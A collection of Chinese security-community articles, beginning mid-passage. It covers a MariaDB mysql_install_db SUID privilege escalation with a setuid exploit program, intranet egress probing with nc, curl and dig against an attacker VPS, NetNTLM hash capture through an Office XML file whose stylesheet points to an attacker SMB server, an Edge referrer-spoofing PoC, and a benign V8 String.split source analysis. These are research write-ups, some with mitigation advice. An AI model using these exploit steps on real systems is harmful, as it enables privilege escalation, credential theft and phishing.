闭源的潜在风险，因此社区采用分支的方式来避开这个风险。MariaDB的目的是完全兼容MySQL，包括API和命令行，使之能轻松成为MySQL的代替品。近日，奇安信CERT在日常监测中从oss-security邮箱中监测到这枚MariaDB提权漏洞，经研判虽这个漏洞到达不了风险通告流程，但由于和监测到此漏洞比较有意思故有了下文展开分析。如有不足之处，欢迎批评指正。
根据oss-security邮件推送的上下文描述是在mysql_install_db脚本中配置不当导致的漏洞发生。
官方介绍：<https://mariadb.com/kb/en/mysql_install_db/>
根据官方描述，mysql_install_db用于初始化data数据目录，且在数据库中创建Mysql表。大概脚本是作为初始化数据等操作所使用。
## docker环境搭建
1. docker pull mariadb:10.4.8
2. docker run -it 2ef19234ff46 /bin/bash
## 漏洞分析
首先定位漏洞点。
find / -name "mysql_install_db"
在bash脚本上下文中，如果$user被定义则能进入「配置不当」漏洞点。
chown $user "$pamtooldir/auth_pam_tool_dir"chmod 0700 "$pamtooldir/auth_pam_tool_dir"
这里配置了auth_pam_tool_dir目录的归属权和所有权，权限归属于$user。 （这里是可控点之一）
chown 0 "$pamtooldir/auth_pam_tool_dir/auth_pam_tool" chmod 04755 "$pamtooldir/auth_pam_tool_dir/auth_pam_tool"
这里配置了auth_pam_tool文件为0（root）所有权，4755文件权限（4为suid权限）。想要进入这个漏洞点需要$srcdir变量值长度为0才能触发。
关于suid属性：
SUID属性一般用在可执行文件上，当用户执行该文件时，会「临时拥有该执行文件的所有者权限」。一旦程序拥有SUID权限的话，运行该程序时会以最高权限运行。
## 回溯user
1. $user
在脚本传递args参数时可控制$user变量。
1. $srcdir
也在初始化操作时可控制变量，初始化时为空。
那么想要进入这个漏洞点需要user需要设置值。
结合上文描述使用此命令才能触发漏洞点：
./mysql_install_db --user=mysql
## 漏洞复现
寻找suid属性的程序
find /* -perm -u=s -type f 2>/dev/null
搜索到的suid属性程序「auth_pam_tool」替换成我们的恶意suid程序。
1. rm auth_pam_tool2. ln -s /root/pwn auth_pam_tool3. export PATH=.:$PATH4. ln -s /bin/bash ps
编写一个具有suid权限的恶意程序：
#include <unistd.h>#include <stdlib.h>int main(void){ setuid(0); setgid(0); system("ps"); return 0;}
切换回root，在root权限下运行mysql_install_db脚本（触发修改chmod命令）
再回到mysql用户权限下执行auth_pam_tool
提权成功。
可以看到这个漏洞是由于suid与目录权限设置不当，才导致被提权利用的风险。建议在修复中设置auth_pam_tool_dir目录权限为root所有：
root:mysql 0750 /usr/lib/mysql/plugin/auth_pam_tool_dir
参考文档：
1. [https://hub.docker.com/_/mariadb?tab=tags&page=2](https://hub.docker.com/_/mariadb?tab=tags&page=2)
2. <https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/>
3. <https://mochazz.github.io/2018/06/09/Linux>
* * * | 社区文章 |
# 【技术分享】内网渗透——网络环境的判断
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **t0stmail**](http://bobao.360.cn/member/contribute?uid=138185681)
**稿费：300RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
对于一个内网来说，当我们拿到了一个机器（例如webshell）之后，首要的就是内网信息的探测，而网络环境的判断则是其中一个重点。
这里的判断我分为三种。一种是机器所处位置区域的判断，一种是机器角色的判断，还有一种是进出口流量是否连通的判断，是否出的去，进的来。
**位置的判断**
位置判断是指机器处于网络拓扑中的某个区域，是在DMZ区，办公网，还是核心区，核心DB等多个位置，当然这里的区域并不是绝对的，只是大概的一个环境，不同的地方网络环境不一样，区域的界限也不一定明显。
多数情况下在外围Web中我们拿到权限多数是在DMZ区，不属于正式的内网，如果是布置好的话，DMZ区会处于一种内网能访问DMZ，而DMZ访问不了内网的一种状态。例如DMZ区的服务器访问不了管理员机器所处的内网机器。
办公网，顾名思义是办公人员所处的网络，例如一般办公人员，服务器管理员等等，能够渗透进办公网将对后续的渗透起到很大的帮助。一般情况刚开始是很少会直接到达办公网段的，除非是进行钓鱼种马啥的。
核心区，例如域控，核心生产机器等等，这些都在后续的渗透才会慢慢接触到。
**
**
**角色的判断**
了解自己的机器会是什么角色，会对我们后续的进程起到一个很好的推进作用。
假如是服务器，看看自己是否是普通Web服务器，是开发测试服务器，公共服务器，文件服务器，还是代理服务器，DNS服务器、存储服务器等等。
具体的判断要通过对机器内的主机名、文件、网络连接等多种情况进行综合判断。
例如通过主机名是最好判断的，开发服务器就是dev , Web服务器可能是web或者app,存储服务器可能是NAS，文件服务器可能是fileserver等等。
例如通过网络连接进行判断，代理服务器可能就会有很多机器来连代理端口，更新服务器（例如WSUS）可能开放了更新端口8530，DNS服务器开放了53端口等等，当然不能一概而论，必须进行综合判断。
**连通性的判断**
这里是指机器能否外面进的来，能否出的去。这与我们后续的上马或者做代理息息相关。这里的判断主要有两种，一种是端口，一种是协议。我们着重于是否出的去。
**1\. 协议的判断**
主要是看能够通过什么协议出去，主要有tcphttpdnsicmp等协议。常见判断手法如下：
[+]tcp协议
外网vps : nc –lvp port
内网机器：nc ip port
[+]dns协议
外网vps: nc –u –lvp 53
内网机器:
windows: nslookup www.baidu.com vps-ip
linux：dig @vps-ip www.baidu.com
[+]http协议
外网vps : nc –lvp 80 (or 8080等)
内网机器 ： curl vps-ip:8080
[+]icmp协议
外网vps：抓包、tcpdump icmp
内网机器:直接ping
**2\. 端口的判断**
外网vps做监听，内网机器测试常见端口，或直接使用端口扫描器进行扫描。
常见能出去的端口有80,8080,443,53,110,123等。
**3\. 额外情况–代理服务器**
还有一种是机器不能直接出来的，需要进行代理设置，这种多数是为了办公网段得办公人员进行上网用的。
常用的判断手法与情况如下：
[+]查看网络连接看是否有连接其他机器的8080（不绝对）等端口，尝试ping –n 1 –a ip
[+]是否有hostname类似于proxy的机器
[+]IE直接代理情况
可以通过查询注册表得到：
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServer
reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"
[+]通过pac文件自动代理情况
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v AutoConfigURL
我们可以通过pac文件的路径（可能是本地路径或远程路径）将pac文件下载回来查看，例如某pac文件如下：从中我们能看到其带来服务器为172.16.10.168:8080
function islocalip(ip) {
return isInNet(ip, "127.0.0.0", "255.0.0.0") ||
isInNet(ip, "169.254.0.0", "255.255.0.0") ||
isInNet(ip, "10.0.0.0", "255.0.0.0") ||
isInNet(ip, "192.168.0.0", "255.255.0.0") ||}
function FindProxyForURL(url, host) {
var DefaultScanner = "PROXY 172.16.10.168:8080; DIRECT";
var target_ip = dnsResolve(host);
if (islocalip(target_ip)) {
return 'DIRECT';
} else {
return DefaultScanner;
}
}
最终我们可以利用curl进行确定：
curl www.baidu.com //不通
curl –x proxy-ip:8080 www.baidu.com //通 | 社区文章 |
# 利用 Office XML 文档捕获 NetNTLM 哈希值
##### 译文声明
本文是翻译文章，文章原作者 bohops，文章来源：bohops.com
原文地址：<https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/>
译文仅供参考，具体内容表达以及含义原文为准。
## TL; DR
Office XML（.xml）文档可以通过SMB调用远程XSL样式表。如果远程XSL样式表位于攻击者控制的服务器，则可获取被攻击用户的net-NTLM身份验证哈希值（质询/响应消息）。后续操作上，攻击者可以离线破解此哈希值,
或利用其他技术进行远程命令执行（如果用户权限足够且联网）。如果被攻击目标安全性比较差（例如出网规则较差），还可能据此对用户发动网络钓鱼攻击。在许多情况下，XML文档可能会通过大多数邮件网关过滤机制和/或其他网络安全控制。防御者可能需要将默认XML文件关联更改为文本编辑器，因为大多数用户都不会有打开原始Office
XML文档的需求。强密码，可靠的出网规则（例如，禁止SMB出网流量）和用户培训, 可以帮助缓解这些类型的攻击。
## 介绍
捕获netNTLM（版本1或版本2）质询/响应消息哈希值的方法网上有不少，利用/破解netNTLM哈希值的工具也有很多, 且都很棒,
例如CoreSecurity的[Impacket](https://github.com/CoreSecurity/impacket)，Laurent
Gaffie的[Responder](https://github.com/SpiderLabs/Responder)，[@kevin_robertson](https://github.com/kevin_robertson
"@kevin_robertson")的[Inveigh](https://github.com/Kevin-Robertson/Inveigh)，以及Jens
Steube的[Hashcat](https://github.com/hashcat/hashcat)。在大多数情况下，这些捕获技术都可以归类为后渗透(post-exploitation)技术，并且通常需要主机联网和/或能访问主机才能成功。在适当的情况下，这些技术可以由用户驱动（例如，通过Microsoft
Office文档），并且很可能成为攻击者登录用户主机的切入点。在这篇文章中，我们将讨论一种非常规技术: 使用Microsoft
Office（Word）2016进行UNC路径重定向并捕获netNTLM。内容包括：
* Microsoft XML文档的入门介绍
* 通过操作XML样式表捕获NetNTLM
* 用例，注释和警告
* 如何防范此类攻击
***注意** ：在继续阅读之前，我强烈建议您查看以下资源，以获取有关Windows身份验证协议和相关捕获方法的信息：
* @petergombos的[LM, NTLM, Net-NTLMv2, oh my!](https://medium.com/p/a9b235c58ed4)
* @netbiosX的[Microsoft Office – NTLM Hashes via Frameset](https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/)
* @mubix的[SMB/HTTP Auth Capture via SCF File](https://room362.com/post/2016/smb-http-auth-capture-via-scf/)
* @osandamalith的[Places of Interest in Stealing NetNTLM Hashes](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)
* @thomas_elling的[Microsoft Word – UNC Path Injection with Image Linking](https://blog.netspi.com/microsoft-word-unc-path-injection-image-linking/)
## Microsoft XML文档的入门介绍
从 Office 2007开始，（大多数）文档格式都是基于微软的Office Open
XML（OOXML），它是“由微软开发的用于表示电子表格，图表，演示文稿和文字处理文档的基于XML的压缩文件格式”（[维基百科](https://en.wikipedia.org/wiki/Office_Open_XML)）。从“较新的”office扩展名，例如Microsoft
Word的.docx和Excel的.xslx，就可以看得出来。
非常有趣的是，Office文档也可以看做包含有效标记和属性的“flat”XML文件。例如，让我们打开MS Word 2016, 并添加一些文本,
创建一个传统意义上的Word XML文档：
将文件保存为XML格式，不要选.docx：
以下是该文档的（截断的）XML表示：
点击上面的图片查看大图。有趣的是，有一个包含 **mso-application** label 的标签：
`<?mso-application progid="Word.Document"?>`
ProgID实际上是一个COM标识符。Microsoft XML Handler（MSOXMLED.EXE）处理mso-application标记以加载由ProgID标识的相应Office应用程序。可以直接调用MSOXMLED.EXE来启动相应的XML文件：
`MSOXMLED.EXE /verb open "C:UsersuserDesktopword.xml"`
或者，用户可以直接启动XML文件（在资源管理器中）并交由文件默认关联的处理程序来处理。如果未设置默认文件关联（Windows
10默认未设置），资源管理器将调用runonce.exe, 由用户来选择Office程序。Office XML Hanlder
是第一个（也是首选）选项，一旦选中，Office XML Hanlder 将成为XML文件的默认处理程序：
Office XML Handler 调用Word（winword.exe）来打开文档：
*注意：还有其他的方式, 例如从Word种打开XML文件，或直接使用命令行。这些方法会“绕过”关联的处理程序。
## 通过操作XML样式表捕获NetNTLM
从Christian Nagel
2004年发表的[文章](http://weblogs.thinktecture.com/cnagel/xml/)中，我提取了一个简单的Word
XML文档和样式表，修改后作为此攻击方式的PoC。以下，是修改的本地XML文件（引用了一个远程服务器的XSL文件）：
此XML文件的xml-stylesheet标签包含远程位置的引用（href）。此外，我们添加了mso-application标签，以确保处理程序会将XML文档交由适当的应用程序。
在尝试打开此文件之前，让我们在攻击计算机上启动Impacket SMB服务器：
`smbserver.py -smb2support test .`
双击我们的’恶意’XML文件, 打开：
现在，看看我们的SMB服务器日志来检查结果：
成功了。我们现在可以尝试破解这个哈希！
## 用例，注释和注意事项
### 网络钓鱼的影响
根据具体情况，XML文件可通过某种网络钓鱼技术来部署。如果攻击目标对远程用户的出网过滤规则或VPN控制较弱，则攻击者可以将Office
XML文档作为电子邮件附件发送给被攻击者, 电子邮件很可能“在邮件网关和扫描雷达的眼皮子底下”有惊无险的抵达对方的邮件收件箱：
双击并按“打开”。
**注意** ：根据具体情况，用户可能必须逐步点击默认关联的提示框。
因为该文件来自其他位置（例如Web），Word会在[受保护视图](https://support.office.com/en-us/article/what-is-protected-view-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653)中打开。一旦我们“启用编辑”，就会从远程服务器获取XSL文档，于是我们就可以在攻击机上收集用户的NetNTLM哈希值：
### 样式表参考标记
在上面的示例中，我们使用显式UNC路径来引用样式表。使用file:///协议也可以：
`file:///192.168.245.175/test/word.xsl`
### 其他Microsoft Office应用程序
此种远程加载样式表的方式也适用于其他Office应用程序（例如Excel）。Word似乎是最简单的。
### WebDAV
Microsoft Word支持WebDAV协议。如果Word通过SMB协议无法获取远程样式表，Word将尝试使用HTTP
WebDAV请求获取远程文件。Didier Stevens（@DidierStevens）在这篇文章中对这种行为进行了详细的描述 – [Webdav
Traffic to Malicious-Sites](https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/)。
*注意：如果使用NTLM WebDAV进行身份验证失败，服务器通常会返回401（表示操作未经授权）。不同的WebDAV客户端，处理此问题的方式也多种多样。Explorer.exe会提示用户输入凭据，而Word似乎会无弹框的情况下多请求几次资源。这种行为非常有意思，但我无法强制传递NTLM请求到服务器。此课题改天再做研究。
## 如何防范此类攻击
* **强密码策略** – 使用唯一的强密码，最大限度地减少攻击者破解收集到的NetNTLM哈希值的机会。
* **文件关联** – 除非真的有业务需求，否则请考虑将XML文件的默认关联程序更改为文本编辑器。此微软官方[文档](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc754587)提供了使用GPO/GPP配置“文件类型首选项”的指南。
* **出网规则** – 出网流量，尤其是SMB（TCP 139/445）对任何组织（或家庭）都是危险的。强制执行出网防火墙规则, 并仅开放实际需要的端口。
* **（远程）用户** – 但是Webmail或VPN, 但不通过隧道传输所有流量的远程用户, 可能面临此类攻击（以及其他类似攻击）的威胁。如果可能，尝试收紧远程访问控制策略, 并通过VPN隧道传输流量。最重要的是，训练用户打开邮件附件时务必小心谨慎。
## 结论
感谢您抽出宝贵时间阅读这篇文章！与往常一样，如果您有任何问题/反馈，请随时给我发消息。
– @bohops | 社区文章 |
原文：[brokenbrowser](https://www.brokenbrowser.com/referer-spoofing-patch-bypass/)
原作者：[Manuel Caballero](https://twitter.com/magicmac2000)
译： **Holic (知道创宇404安全实验室)**
去年我演示过一个简单的方法在 Edge 上进行 [referrer 欺骗](https://www.brokenbrowser.com/referer-spoofing-defeating-xss-filter/)，可以用来欺骗 referer，还有额外惊喜：比如 XSS 过滤器的绕过。
今天我发现它已经被修复了，于是我决定找到绕过补丁的方法。老实说，我认为这不是一种绕过而是一些改动。实际看来，它依然有效地绕过了补丁，但从技术的角度来说，绕过方法有所不同。无论哪种方法，搞起！
### 修复前的原始 PoC
在原博文中我们可以看到，仅通过打开一个带着对应 referrer 的新窗口，然后跳转至目标域即可实现 referrer 欺骗。两行代码值千言。查看下面的
PoC，whatismyreferrer.com 认为referrer 是 paypal.com，实际上应该是执行 location.href 的页面的
URL（现在已经被修复）。
win = window.open("https://www.paypal.com");
win.location.href = "https://www.whatismyreferer.com";
这足以欺骗 Edge 上的 referrer ，但是现在它已修复，而我突然想起一个简单的变通方法。这里没有调试或分析，显然只是大胆测试，迅速且奏效。
我试了几种方法来更改最终 URL（除了 location.href，采用 location.replace，meta 刷新，window.open
等方法），看看 Edge 能否被欺骗，却未能如愿。但是，如果从 iframe 内部更改 URL，会发生什么？referrer 会变成页面顶部还是
iframe 的 URL？
### Playing with the referrer
在回答问题之前，请记住一个概念， **通常 referrer 的网址应该是发起请求的网址** 。假设我们的 facebook.com 有一个 iframe
指向 eval.com，如果iframe 将顶部的 URL 更改为 paypal.com，那么 paypal 接收到的 referrer 应该是 evil
而不是 Facebook。
上图显示了预料到的结果（正确的），即使是在 Edge 上也是如此。但是如果不使用常规的链接跳转，而是通过使用 location.href 设置顶部的
location ，然后 Edge 会搞混，使用其顶部的地址作为 referrer。
以下便是一个简单的测试页面，其中显示了常规链接跳转和 location.href 之间的区别。二者都会把你带到
whatismyreferer.com，但是你会看到常规链接正确跳转了，而 top.location.href 没有。
##### [ [漏洞演示页面](https://www.cracking.com.ar/demos/referer/02/top-page.html) ]
但是我们如何利用这个漏洞呢？显然，Facebook 永远不会提供恶意的 iframe 对吧？好吧，Facebook 其实会像雅虎这样的大厂商提供
iframe 广告服务。这些广告会代表这些大型网站加载任何网页。此外，使用 top.location.href 的话，这些广告可以毫无障碍地绕过 XSS
过滤器。
就个人而言，我讨厌理论上的漏洞，因为这根本无法让我满意。你懂的， _“如果用户点击此处，接受警告，解压文件，双击exe，他就被感染了”_ 。我并不喜欢这样。
为了达到有效利用的目标，通过将 iframe 注入到要欺骗referrer 的站点中，然后从中执行 top.location。这与在任何网站上放置
iframe 上是一个道理，但是我们不需要任何相关合作！此话怎讲？我们希望 whatismyreferer.com（受害者）相信用户是来自
paypal.com（假的 referrer）。 而计将安出？
### 注入 iframe
> 1. 打开新窗口，将服务器重定向至 PayPal
> 2. 重定向发生之前，注入 iframe
> 3. 重定向发生时，在 iframe 中用 top.location 跳转至 whatismyreferer.com
>
关于这个 iframe 注入，之前关于 IE 的文章 [htmlFile/UXSS](https://www.brokenbrowser.com/uxss-ie-htmlfile/) 有所提及，这里我们再回顾一下吧。
当我们通过服务器重定向（1）打开新窗口时，我们有一点儿时间（重定向发生之前）访问它的DOM，这便是注入iframe（2）的时机。一旦重定向发生，Edge将尽力删除页面（包括我们的iframe）中的所有内容并渲染PayPal，但是我们将通过阻塞线程阻止这一步。然后，一旦重定向发生，解锁该线程，并从iframe内部执行一个top.location.href（3）。
这种特殊情况下，我们使用了与这两处（[xss-ie-domainless-world](https://www.brokenbrowser.com/uxss-ie-domainless-world/)与[uxss-ie-htmlfile](https://www.brokenbrowser.com/uxss-ie-htmlfile/)）相同的技术阻塞线程，可以看到一个简陋的大大的 alert。当然有办法在不需要用户交互和 alert
的情况下阻塞线程，但我不想让攻击者太轻松地实现。如果 PoC 会弹出 alert，且必须进行用户交互，这就显得用处不大了。这里有完整的 PoC:
// Open a new window with a server redirect to paypal
var win = window.open("redir.php?URL=https://www.paypal.com");
// Create an iframe immediately, before it redirects
var ifr = win.document.createElement("iframe");
win.document.appendChild(ifr);
// Make sure the iframe has access to its top (otherwise it will lose it)
win[0].opener = win;
// Block the iframe and once the redirect happens, move to the victim website.
win[0].setTimeout("alert('Close me once the site starts loading behind');" +
"opener.location='https://www.whatismyreferer.com'");
##### [ [Test the PoC Live on
Edge](https://www.cracking.com.ar/demos/referer/02/) ]
捉虫猎手学无止境。关掉Facebook标签，读一些有趣的东西吧。生如夏花，死如秋叶，莫要徒劳无功。继续学习，有所取舍，然后享受你的成果！
Have a nice day! ?
* * * | 社区文章 |
# 《Chrome V8 源码》39. String.prototype.split 源码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 介绍
字符串是 JavaScript
中的重要数据类型，其重要性不仅体现在字符串是应用最多最广泛的数据类型，更体现在V8中使用了大量的技术手段来修饰和优化字符串的操作。接下来的几篇文章将集中讲解字符串的相关操作。本文先讲解
String.prototype.split 的源码以及相关数据结构，再通过测试用例演示 String.prototype.split
的调用、加载和执行过程。
**注意** （1）Sea of Nodes 是本文的先导知识，请参考 Cliff 1993年发表的论文 From Quads to
Graphs。（2）本文所用环境为：V8 7.9、win10 x64、VS2019。
## 2 String.prototype.split 源码
测试用例代码如下：
var str="How9are9you9doing9today?";
var n=str.split("9");
console.log(n);
split() 采用 TF_BUILTIN 实现，replace() 在 V8 中的函数名是 StringPrototypeSplit，编号是
596，源码如下：
1. TF_BUILTIN(StringPrototypeSplit, StringBuiltinsAssembler) {
2. const int kSeparatorArg = 0;
3. const int kLimitArg = 1;
4. TNode<IntPtrT> const argc =
5. ChangeInt32ToIntPtr(Parameter(Descriptor::kJSActualArgumentsCount));
6. CodeStubArguments args(this, argc);
7. TNode<Object> receiver = args.GetReceiver();
8. TNode<Object> const separator = args.GetOptionalArgumentValue(kSeparatorArg);
9. TNode<Object> const limit = args.GetOptionalArgumentValue(kLimitArg);
10. TNode<NativeContext> context = CAST(Parameter(Descriptor::kContext));
11. TNode<Smi> smi_zero = SmiConstant(0);
12. RequireObjectCoercible(context, receiver, "String.prototype.split");
13. MaybeCallFunctionAtSymbol(/*省略....*/);
14. TNode<String> subject_string = ToString_Inline(context, receiver);
15. TNode<Number> limit_number = Select<Number>(
16. IsUndefined(limit), [=] { return NumberConstant(kMaxUInt32); },
17. [=] { return ToUint32(context, limit); });
18. TNode<String> const separator_string = ToString_Inline(context, separator);
19. Label return_empty_array(this);
20. GotoIf(TaggedEqual(limit_number, smi_zero), &return_empty_array);
21. {
22. Label next(this);
23. GotoIfNot(IsUndefined(separator), &next);
24. const ElementsKind kind = PACKED_ELEMENTS;
25. TNode<NativeContext> const native_context = LoadNativeContext(context);
26. TNode<Map> array_map = LoadJSArrayElementsMap(kind, native_context);
27. TNode<Smi> length = SmiConstant(1);
28. TNode<IntPtrT> capacity = IntPtrConstant(1);
29. TNode<JSArray> result = AllocateJSArray(kind, array_map, capacity, length);
30. TNode<FixedArray> fixed_array = CAST(LoadElements(result));
31. StoreFixedArrayElement(fixed_array, 0, subject_string);
32. args.PopAndReturn(result);
33. BIND(&next);
34. }
35. {
36. Label next(this);
37. GotoIfNot(SmiEqual(LoadStringLengthAsSmi(separator_string), smi_zero),
38. &next);
39. TNode<Smi> subject_length = LoadStringLengthAsSmi(subject_string);
40. GotoIf(SmiEqual(subject_length, smi_zero), &return_empty_array);
41. args.PopAndReturn(
42. StringToArray(context, subject_string, subject_length, limit_number));
43. BIND(&next);
44. }
45. TNode<Object> const result =
46. CallRuntime(Runtime::kStringSplit, context, subject_string,
47. separator_string, limit_number);
48. args.PopAndReturn(result);
49. BIND(&return_empty_array);
50. {
51. const ElementsKind kind = PACKED_ELEMENTS;
52. TNode<NativeContext> const native_context = LoadNativeContext(context);
53. TNode<Map> array_map = LoadJSArrayElementsMap(kind, native_context);
54. TNode<Smi> length = smi_zero;
55. TNode<IntPtrT> capacity = IntPtrConstant(0);
56. TNode<JSArray> result = AllocateJSArray(kind, array_map, capacity, length);
57. args.PopAndReturn(result);
58. }
59. }
上述代码中，第 7 行代码 receiver 代表测试用例中的字符串 str；
第 8 行代码 separator 代表测试用例中的 “9”；
第 9 行代码读取 limit；
第 13 行代码如果 separator 是正则表达式，就使用 MaybeCallFunctionAtSymbol() 完成 split 操作；
第 14 行代码把 receiver 转换为字符串，并保存到 subject_string 中；
第 15 行代码把 limit 的类型转换为 Number;
第 16 行代码把 separator 转换为字符串，并保存到 separator_string 中；
第 20 行代码判断 limit 是否等于零，等于返回空字符串，split 退出；
第 21 行代码判断 separator 是否等于 Undefined，不等于则跳转到第 33 行代码；
第 24-32 行代码实现 ECMA的规定：“if {separator} is undefined, the result should be an
array of size 1 containing the entire string. ”；
第 37 行代码判断 separator的长度是否等于零，不等于则跳转到第 43 行代码；
第 39-41 行代码用于实现 separator=”” 时的 split 功能，即创建由 receiver 中的所有字符组成的数组；
第 45 行代码当 “separator 长度大于零” 和 “limit未定义或大于零” 两个条件同时满足时，该行用于实现 split 功能；
第 49-59行代码返回空数组。
下面说明 StringPrototypeSplit 中使用的重要函数：
**（1）** StringToArray 方法，在本文中该方法实现了 separator=”” 时的 split 功能，源码如下：
1. TNode<JSArray> StringBuiltinsAssembler::StringToArray(
2. TNode<NativeContext> context, TNode<String> subject_string,
3. TNode<Smi> subject_length, TNode<Number> limit_number) {
4. TVARIABLE(JSArray, result_array);
5. TNode<Uint16T> instance_type = LoadInstanceType(subject_string);
6. GotoIfNot(IsOneByteStringInstanceType(instance_type), &call_runtime);
7. {
8. TNode<Smi> length_smi =
9. Select<Smi>(TaggedIsSmi(limit_number),
10. [=] { return SmiMin(CAST(limit_number), subject_length); },
11. [=] { return subject_length; });
12. TNode<IntPtrT> length = SmiToIntPtr(length_smi);
13. ToDirectStringAssembler to_direct(state(), subject_string);
14. to_direct.TryToDirect(&call_runtime);
15. TNode<FixedArray> elements = CAST(AllocateFixedArray(
16. PACKED_ELEMENTS, length, AllocationFlag::kAllowLargeObjectAllocation));
17. TNode<RawPtrT> string_data =
18. to_direct.PointerToData(&fill_thehole_and_call_runtime);
19. TNode<IntPtrT> string_data_offset = to_direct.offset();
20. TNode<FixedArray> cache = SingleCharacterStringCacheConstant();
21. BuildFastLoop(
22. IntPtrConstant(0), length,
23. [&](Node* index) {
24. CSA_ASSERT(this, WordEqual(to_direct.PointerToData(&call_runtime),
25. string_data));
26. TNode<Int32T> char_code =
27. UncheckedCast<Int32T>(Load(MachineType::Uint8(), string_data,
28. IntPtrAdd(index, string_data_offset)));
29. TNode<UintPtrT> code_index = ChangeUint32ToWord(char_code);
30. TNode<Object> entry = LoadFixedArrayElement(cache, code_index);
31. GotoIf(IsUndefined(entry), &fill_thehole_and_call_runtime);
32. StoreFixedArrayElement(elements, index, entry);
33. },
34. 1, ParameterMode::INTPTR_PARAMETERS, IndexAdvanceMode::kPost);
35. TNode<Map> array_map = LoadJSArrayElementsMap(PACKED_ELEMENTS, context);
36. result_array = AllocateJSArray(array_map, elements, length_smi);
37. Goto(&done);
38. BIND(&fill_thehole_and_call_runtime);
39. {
40. FillFixedArrayWithValue(PACKED_ELEMENTS, elements, IntPtrConstant(0),
41. length, RootIndex::kTheHoleValue);
42. Goto(&call_runtime); } }
43. BIND(&call_runtime);
44. {
45. result_array = CAST(CallRuntime(Runtime::kStringToArray, context,
46. subject_string, limit_number));
47. Goto(&done);}
48. BIND(&done);
49. return result_array.value();}
上述代码中，第 6 行代码判断 subject_string 是否为单字节字符串，如果不是则跳转到第 43 行；
第 8 行代码计算数组长度，如果定义了 limit，数组长度取 subject_string.length 和 limit
之中的最小值；如果未定义，数组长度等于 subject_string.length；
第 14 行代码将间接字符串转换为直接字符串，转换失败时调用 runtime 处理；
第 15 行代码分配数组 elements;
第 21-34 行代码使用 BuildFastLoop 方式填充 elements，填充失败时使用 runtime 处理； **注意:**
BuildFastLoop 为 Turbofan 后端做了优化，请自行学习。
第 40-45 行代码使用 runtime 方式生成数组；
**（2）** Runtime_StringSplit 源码如下：
1. RUNTIME_FUNCTION(Runtime_StringSplit) {
2. int subject_length = subject->length();
3. int pattern_length = pattern->length();
4. CHECK_LT(0, pattern_length);
5. if (limit == 0xFFFFFFFFu) {//省略............}
6. subject = String::Flatten(isolate, subject);
7. pattern = String::Flatten(isolate, pattern);
8. std::vector<int>* indices = GetRewoundRegexpIndicesList(isolate);
9. FindStringIndicesDispatch(isolate, *subject, *pattern, indices, limit);
10. if (static_cast<uint32_t>(indices->size()) < limit) {
11. indices->push_back(subject_length);}
12. int part_count = static_cast<int>(indices->size());
13. Handle<JSArray> result =
14. isolate->factory()->NewJSArray(PACKED_ELEMENTS, part_count, part_count,
15. INITIALIZE_ARRAY_ELEMENTS_WITH_HOLE);
16. DCHECK(result->HasObjectElements());
17. Handle<FixedArray> elements(FixedArray::cast(result->elements()), isolate);
18. if (part_count == 1 && indices->at(0) == subject_length) {
19. elements->set(0, *subject);
20. } else {
21. int part_start = 0;
22. FOR_WITH_HANDLE_SCOPE(isolate, int, i = 0, i, i < part_count, i++, {
23. int part_end = indices->at(i);
24. Handle<String> substring =
25. isolate->factory()->NewProperSubString(subject, part_start, part_end);
26. elements->set(i, *substring);
27. part_start = part_end + pattern_length;
28. });}
29. if (limit == 0xFFFFFFFFu) {//省略............}
30. TruncateRegexpIndicesList(isolate);
31. return *result;
上述代码中，第 2 行代码 subject 表示测试用例字符串 str；
第 3 行代码 pattern 表示 separator；
第 9 行代码使用 pattern 切分 subject，并将切分结果保存在 indices中。切分结果是切片的数量以及每个切片的开始、结尾下标。
第 13 行代码申请数组 elements，该数组长度等于切片数量；
第 19 行代码切片数量为 1时，把 subject 复制到 elements 中；
第 20-28 行代码使用循环把每个切片复制到 elements 中；
图 1 给出了初始化 StringPrototypeSplit 时的调用堆栈。
## 2 String.prototype.split 测试
测试代码的字节码如下：
1. 000000A369D42A96 @ 16 : 12 01 LdaConstant [1]
2. 000000A369D42A98 @ 18 : 15 02 04 StaGlobal [2], [4]
3. 000000A369D42A9B @ 21 : 13 02 00 LdaGlobal [2], [0]
4. 000000A369D42A9E @ 24 : 26 f9 Star r2
5. 000000A369D42AA0 @ 26 : 29 f9 03 LdaNamedPropertyNoFeedback r2, [3]
6. 000000A369D42AA3 @ 29 : 26 fa Star r1
7. 000000A369D42AA5 @ 31 : 12 04 LdaConstant [4]
8. 000000A369D42AA7 @ 33 : 26 f8 Star r3
9. 000000A369D42AA9 @ 35 : 5f fa f9 02 CallNoFeedback r1, r2-r3
10. 000000A369D42AAD @ 39 : 15 05 06 StaGlobal [5], [6]
11. 000000A369D42AB0 @ 42 : 13 06 08 LdaGlobal [6], [8]
12. 000000A369D42AB3 @ 45 : 26 f9 Star r2
13. 000000A369D42AB5 @ 47 : 29 f9 07 LdaNamedPropertyNoFeedback r2, [7]
14. 000000A369D42AB8 @ 50 : 26 fa Star r1
15. 000000A369D42ABA @ 52 : 13 05 02 LdaGlobal [5], [2]
16. 000000A369D42ABD @ 55 : 26 f8 Star r3
17. 000000A369D42ABF @ 57 : 5f fa f9 02 CallNoFeedback r1, r2-r3
18. 000000A369D42AC3 @ 61 : 26 fb Star r0
19. 000000A369D42AC5 @ 63 : ab Return
20. Constant pool (size = 8)
21. 000000A369D42A01: [FixedArray] in OldSpace
22. - map: 0x03abc3a00169 <Map>
